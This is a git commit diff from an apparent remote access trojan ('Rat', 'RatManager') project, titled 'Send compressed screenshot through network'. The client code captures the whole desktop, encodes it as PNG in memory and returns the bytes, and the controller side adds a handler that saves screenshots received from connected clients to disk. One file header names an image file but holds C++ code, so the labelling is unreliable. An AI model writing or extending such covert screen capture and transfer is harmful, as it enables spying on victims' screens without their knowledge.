Send compressed screenshot through network

Author: TheMulti0

Client/Screenshot.cpp

@@ -6,41 +6,64 @@
 
 #include "StringExtensions.h"
 
-
 SharedSpan Screenshot::ScreenshotScreen()
 {
-    auto hdc = wil::unique_hdc_window(
-        GetDC(HWND_DESKTOP));
+    return ScreenshotWindow(HWND_DESKTOP);
+}
+
+SharedSpan Screenshot::ScreenshotWindow(const HWND window)
+{
+	auto hdc = wil::unique_hdc_window(
+		GetDC(window));
+
+	const auto memdc = wil::unique_hdc(
+		CreateCompatibleDC(hdc.get()));
+
+	const int height = GetSystemMetrics(SM_CYSCREEN);
+	const int width = GetSystemMetrics(SM_CXSCREEN);
+
+	auto hBitmap = wil::unique_hbitmap(
+		CreateCompatibleBitmap(hdc.get(), width, height));
+
+	SelectObject(
+		memdc.get(),
+		hBitmap.get());
+
+	BitBlt(
+		memdc.get(),
+		0, 
+		0,
+		width, 
+		height, 
+		hdc.get(),
+		0,
+		0, 
+		SRCCOPY);
+
+	auto m_image = Gdiplus::Bitmap(hBitmap.get(), nullptr);
 
-    const auto memdc = wil::unique_hdc(
-        CreateCompatibleDC(hdc.get()));
+	CLSID pngEncoder = { 0x557cf406, 0x1a04, 0x11d3, {0x9a, 0x73, 0x00, 0x00, 0xf8, 0x1e, 0xf3, 0x2e} };
 
-    const int height = GetSystemMetrics(SM_CYSCREEN);
-    const int width = GetSystemMetrics(SM_CXSCREEN);
+	IStream* stream;
+	CreateStreamOnHGlobal(nullptr, true, &stream);
 
-    auto hBitmap = wil::unique_hbitmap(
-        CreateCompatibleBitmap(hdc.get(), width, height));
+	m_image.Save(stream, &pngEncoder);
 
-    SelectObject(
-        memdc.get(),
-        hBitmap.get());
+	ULARGE_INTEGER imageSize;
+	LARGE_INTEGER offset;
+	offset.QuadPart = 0;
 
-    BitBlt(
-        memdc.get(),
-        0, 
-        0,
-        width, 
-        height, 
-        hdc.get(),
-        0,
-        0, 
-        SRCCOPY);
+	stream->Seek(offset, STREAM_SEEK_END, &imageSize);
+	stream->Seek(offset, STREAM_SEEK_SET, nullptr);
 
-    auto m_image = Gdiplus::Bitmap(hBitmap.get(), nullptr);
+	auto imageSpan = SharedSpan(imageSize.QuadPart);
 
-    CLSID pngEncoder = { 0x557cf406, 0x1a04, 0x11d3, {0x9a, 0x73, 0x00, 0x00, 0xf8, 0x1e, 0xf3, 0x2e} };
+	ULONG ulBytesRead;
+	stream->Read(imageSpan.Data(), imageSize.QuadPart, &ulBytesRead);
 
-    m_image.Save(ToWString("myjpg.jpg").c_str(), &pngEncoder, nullptr);
+	stream->Release();
+	//m_image.Save(ToWString("myjpg.jpg").c_str(), &pngEncoder, nullptr);
+	
 
-    return SharedSpan(0);
+	return imageSpan;
 }

Client/Screenshot.h

@@ -8,6 +8,8 @@ class Screenshot
 public:
 	SharedSpan ScreenshotScreen();
 
+	static SharedSpan ScreenshotWindow(HWND window);
+
 private:
 	GdiPlusInitializer _initializer;
 };

Rat/myjpg.jpg

@@ -1,5 +1,7 @@
 #include "RatManager.h"
 
+#include <fstream>
+
 #include "Trace.h"
 
 RatManager::RatManager(
@@ -101,7 +103,7 @@ void RatManager::OnDisconnection(const int client)
 	Trace("\nClient %d disconnected\n", client);
 }
 
-void RatManager::OnMessage(const int client, const MessageType type, const SharedSpan content)
+void RatManager::OnMessage(const int client, const MessageType type, SharedSpan content)
 {
 	const auto str = content.String();
 
@@ -111,6 +113,12 @@ void RatManager::OnMessage(const int client, const MessageType type, const Share
 			Trace("%s", str.c_str());
 			break;
 
+		case MessageType::Screenshot:
+			
+			std::ofstream("myfile.png", std::ios::binary).write(content.Data(), content.Size());
+			break;
+
+
 		default:
 			Trace(
 				"\nClient %d sent: %d %s",